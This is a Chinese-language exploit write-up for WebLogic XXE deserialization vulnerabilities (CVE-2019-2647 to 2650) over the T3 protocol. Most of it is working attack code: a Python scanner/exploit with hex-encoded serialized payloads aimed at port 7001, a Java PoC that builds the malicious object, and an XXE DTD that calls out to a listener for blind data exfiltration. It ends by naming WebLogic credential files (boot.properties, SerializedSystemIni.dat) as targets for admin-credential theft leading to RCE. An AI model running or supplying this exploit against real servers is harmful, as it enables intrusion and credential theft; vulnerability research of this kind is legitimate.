先看下漏洞分析,最后给出POC构造。
本地监听1234端口
python2 xxer.py --http=1234 --hostname=127
.0.0.1 --dtd=1.dtd --ftp=2121
通过T3协议发数据包:
python2 exp.py -t 127.0.0.1 -p 7001
#!/usr/bin/env python
#coding:utf-8
import socket
import time
import re
import argparse
from multiprocessing.dummy import Pool
VUL=['CVE-2016-0638',
'CVE-2016-3510',
'CVE-2017-3248',
'CVE-2018-2628',
'CVE-2018-2893'
]
PAYLOAD=['aced0005737200327765626c6f6769632e777365652e72656c696162696c6974792e5773726d5365727665725061796c6f6164436f6e7465787403849ed552b214ee0c00007872002c7765626c6f6769632e777365652e72656c696162696c6974792e5773726d5061796c6f6164436f6e7465787444144731d8d55e3b0c0000787077970003392e320000000000000000ffffffffffffffffffffffff000000763c3f786d6c2076657273696f6e3d22312e30223f3e0a3c21444f435459504520646174612053595354454d2022687474703a2f2f3132372e302e302e313a313233342f312e64746422205b3c21454c454d454e542064617461202823504344415441293e0a5d3e0a3c646174613e343c2f646174613e0000000078',
'',
'',
'',
'',
]
VER_SIG=['weblogic.jms.common.StreamMessageImpl',
'org.apache.commons.collections.functors.InvokerTransformer',
'\$Proxy[0-9]+',
'\$Proxy[0-9]+',
'weblogic.jms.common.StreamMessageImpl'
]
def t3handshake(sock,server_addr):
sock.connect(server_addr)
sock.send('74332031322e322e310a41533a3235350a484c3a31390a4d533a31303030303030300a0a'.decode('hex'))
time.sleep(1)
sock.recv(1024)
print('[!]{}:{} handshake successful'.format(server_addr[0],server_addr[1]))
def buildT3RequestObject(dip,sock):
data1 = '000005c3016501ffffffffffffffff0000006a0000ea600000001900937b484a56fa4a777666f581daa4f5b90e2aebfc607499b4027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c657400124c6a6176612f6c616e672f537472696e673b4c000a696d706c56656e646f7271007e00034c000b696d706c56657273696f6e71007e000378707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b4c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00044c000a696d706c56656e646f7271007e00044c000b696d706c56657273696f6e71007e000478707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200217765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e50656572496e666f585474f39bc908f10200064900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463685b00087061636b616765737400275b4c7765626c6f6769632f636f6d6d6f6e2f696e7465726e616c2f5061636b616765496e666f3b787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e56657273696f6e496e666f972245516452463e0200035b00087061636b6167657371'
data2 = '007e00034c000e72656c6561736556657273696f6e7400124c6a6176612f6c616e672f537472696e673b5b001276657273696f6e496e666f417342797465737400025b42787200247765626c6f6769632e636f6d6d6f6e2e696e7465726e616c2e5061636b616765496e666fe6f723e7b8ae1ec90200084900056d616a6f724900056d696e6f7249000c726f6c6c696e67506174636849000b736572766963655061636b5a000e74656d706f7261727950617463684c0009696d706c5469746c6571007e00054c000a696d706c56656e646f7271007e00054c000b696d706c56657273696f6e71007e000578707702000078fe00fffe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c000078707750210000000000000000000d3139322e3136382e312e323237001257494e2d4147444d565155423154362e656883348cd60000000700001b59ffffffffffffffffffffffffffffffffffffffffffffffff78fe010000aced0005737200137765626c6f6769632e726a766d2e4a564d4944dc49c23ede121e2a0c0000787077200114dc42bd07'
data3 = '1a7727000d3234322e323134'
data4 = '2e312e32353461863d1d0000000078'
for d in [data1,data2,data3,data4]:
sock.send(d.decode('hex'))
time.sleep(2)
print('[!]{} send request payload successful,recv length:{}'.format(dip,len(sock.recv(2048))))
def sendEvilObjData(sock,data):
payload='056508000000010000001b0000005d010100737201787073720278700000000000000000757203787000000000787400087765626c6f67696375720478700000000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200025b42acf317f8060854e002000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078707702000078fe010000aced00057372001d7765626c6f6769632e726a766d2e436c6173735461626c65456e7472792f52658157f4f9ed0c000078707200106a6176612e7574696c2e566563746f72d9977d5b803baf010300034900116361706163697479496e6372656d656e7449000c656c656d656e74436f756e745b000b656c656d656e74446174617400135b4c6a6176612f6c616e672f4f626a6563743b78707702000078fe010000'
payload+=data
payload+='fe010000aced0005737200257765626c6f6769632e726a766d2e496d6d757461626c6553657276696365436f6e74657874ddcba8706386f0ba0c0000787200297765626c6f6769632e726d692e70726f76696465722e426173696353657276696365436f6e74657874e4632236c5d4a71e0c0000787077020600737200267765626c6f6769632e726d692e696e7465726e616c2e4d6574686f6444657363726970746f7212485a828af7f67b0c000078707734002e61757468656e746963617465284c7765626c6f6769632e73656375726974792e61636c2e55736572496e666f3b290000001b7878fe00ff'
payload = '%s%s'%('{:08x}'.format(len(payload)/2 + 4),payload)
sock.send(payload.decode('hex'))
time.sleep(2)
res='NO_DATA'
try:
res=sock.recv(4096)
except socket.timeout:
pass
# print res.encode('hex')
return res
def checkVul(res,server_addr,index):
p=re.findall(VER_SIG[index], res, re.S)
if len(p)>0:
print('[+]%s:%d vul %s'%(server_addr[0],server_addr[1],VUL[index]))
return True
else:
print('[-]%s:%d is not vul %s' % (server_addr[0],server_addr[1],VUL[index]))
return False
def run(dip,dport,index):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
##打了补丁之后,会阻塞,所以设置超时时间,默认15s,根据情况自己调整
sock.settimeout(60)
server_addr = (dip, dport)
t3handshake(sock,server_addr)
buildT3RequestObject(dip,sock)
rs=sendEvilObjData(sock,PAYLOAD[index])
checkVul(rs,server_addr,index)
def exp(target):
dip,dport = target
vuls = []
for index in range(len(VUL)):
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
##打了补丁之后,会阻塞,所以设置超时时间,默认15s,根据情况自己调整
sock.settimeout(60)
server_addr = (dip, dport)
t3handshake(sock,server_addr)
buildT3RequestObject(dip,sock)
rs=sendEvilObjData(sock,PAYLOAD[index])
if checkVul(rs,server_addr,index):
vuls.append(VUL[index])
except Exception as e:
print('[-]{} fail:{}'.format(dip,str(e)))
return {'ip':dip,'status':'ok' if len(vuls)>0 else 'fail','vuls':vuls}
def load_target_from_file(filename,port):
iplist = []
with open(filename) as f:
for line in f:
ip = line.strip()
if len(ip)>0:
iplist.append((ip,port))
return iplist
def process_result(results):
results_ok = []
results_fail = []
for r in results:
if r['status'] == 'ok':
results_ok.append('{}:{}'.format(r['ip'],','.join(r['vuls'])))
else:
results_fail.append(r['ip'])
print('[+]vuls total:{}
{}'.format(len(results_ok), '
'.join(results_ok)))
def main():
parser = argparse.ArgumentParser(description='weblogic scanner')
parser.add_argument('-f','--file',default=None,help='read target ip from file')
parser.add_argument('-t','--target',default=None,help='target ip')
parser.add_argument('-p','--port',default='7001',help=' server port,default is 7001')
args = parser.parse_args()
if not args.file is None:
iplist = load_target_from_file(args.file,int(args.port))
pool = Pool(10)
results = pool.map(exp,iplist)
pool.close()
pool.join()
process_result(results)
elif not args.target is None:
exp((args.target,int(args.port)))
else:
parser.print_help()
print('You must set target ip or file!')
if __name__=="__main__":
main()
在WsrmServerPayloadContext类的readExternal方法下断点,调用父类的readExternal,父类的方法只是标准化一些格式。这里略过。
跟进readEndpt方法,漏洞触发点就在90行parse解析,var14就是传入的payload
深入跟parse就跟这篇文章一样了XXE深入原理探究
本地监听的1234端口收到请求1.dtd请求。
POC如下,直接将发序列化对象转换成hex了:
package weblogic;
import weblogic.wsee.addressing.EndpointReference;
import weblogic.wsee.reliability.WsrmServerPayloadContext;
import java.io.IOException;
import java.lang.reflect.Field;
public class WeblogicXXE1 {
public static void main(String[] args) throws IOException {
Object instance = getXXEObject();
// ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("xxe"));
// out.writeObject(instance);
// out.flush();
// out.close();
java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();
//用于将对象转换成byte[]数组的ObjectOutputStream
java.io.ObjectOutputStream oos = new java.io.ObjectOutputStream(baos);
//将对象写入ByteArrayOutputStream
oos.writeObject(instance);
byte[] bytes = baos.toByteArray();
bytesToHexString(bytes);
// System.out.println(bytes);
//用于将将对象存入文件的ObjectOutputStream
java.io.ObjectOutputStream oos2 = new java.io.ObjectOutputStream(new java.io.FileOutputStream("xxe"));
//将对象写入string指定的文件中
oos2.writeObject(instance);
oos.close();
oos2.close();
baos.close();
}
public static String bytesToHexString(byte[] src) {
StringBuilder stringBuilder = new StringBuilder("");
if (src == null || src.length <= 0) {
return null;
}
for (int i = 0; i < src.length; i++) {
int v = src[i] & 0xFF;
//将一个byte的二进制数转换成十六进制字符
String hv = Integer.toHexString(v);
//如果二进制数转换成十六进制数高位为0,则加入'0'字符
if (hv.length() < 2) {
stringBuilder.append(0);
}
stringBuilder.append(hv);
}
System.out.println(stringBuilder.toString());
return stringBuilder.toString();
}
public static Object getXXEObject() {
EndpointReference fromEndpt = new EndpointReference();
EndpointReference faultToEndpt = null;
WsrmServerPayloadContext wspc = new WsrmServerPayloadContext();
try {
Field f1 = wspc.getClass().getDeclaredField("fromEndpt");
f1.setAccessible(true);
f1.set(wspc, fromEndpt);
Field f2 = wspc.getClass().getDeclaredField("faultToEndpt");
f2.setAccessible(true);
f2.set(wspc, faultToEndpt);
} catch (Exception e) {
e.printStackTrace();
}
return wspc;
}
}
重写WsrmServerPayloadContext类的writeEndpt方法
private void writeEndpt(EndpointReference var1, ObjectOutput var2) throws IOException {
ByteArrayOutputStream var3 = new ByteArrayOutputStream();
OutputFormat var4 = new OutputFormat("XML", (String)null, false);
XMLSerializer var5 = new XMLSerializer(var3, var4);
Document doc = null;
try {
DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance();
//从DOM工厂中获得DOM解析器
DocumentBuilder dbBuilder = dbFactory.newDocumentBuilder();
//读入文档输入流
InputStream is = new FileInputStream("F:\IDEA-project\weblogic\src\main\java\weblogic\test.xml");
//创建文档树模型对象
doc = dbBuilder.parse(is);
} catch (Exception e) {
e.printStackTrace();
}
var5.serialize(doc);
byte[] var6 = var3.toByteArray();
if (verbose) {
Verbose.log("Writing Endpoint:");
for(int var7 = 0; var7 < var6.length; ++var7) {
Verbose.getOut().print((char)var6[var7]);
}
Verbose.getOut().println();
}
var2.writeInt(var6.length);
var2.write(var6);
}
test.xml内容如下
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://127.0.0.1:1234/1.dtd" [
<!ELEMENT data (#PCDATA)>
]>
<data>4</data>
在构造bind-xxe时,引参考文章的:my.dtd如下(my.dtd在使用PoC生成反序列化数据的时候先清空,然后,不然在dbBuilder.parse时会报错无法生成正常的反序列化数据,至于为什么,只有自己测试下才会明白):
构造xxe POC有好多坑,自己走过才知道。dbBuilder.parse时会将POC将外部资源的解析一次,%dtd;%send;会被处理掉,所以需要16进制硬怼一次。详细细节参考下面的文章。
CVE-2019 2647-2650 POC构造都是类似,其他不分析了。
这俩个weblogic的关键文件无法读取,原因需要解决。如果这俩个文件内容读取到了,破解出用户名和密码相当于RCE了 /Users/kkuyo/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/security/boot.properties
/Users/kkuyo/Oracle/Middleware/user_projects/domains/base_domain/security/SerializedSystemIni.dat
参考链接如下:
https://paper.seebug.org/906/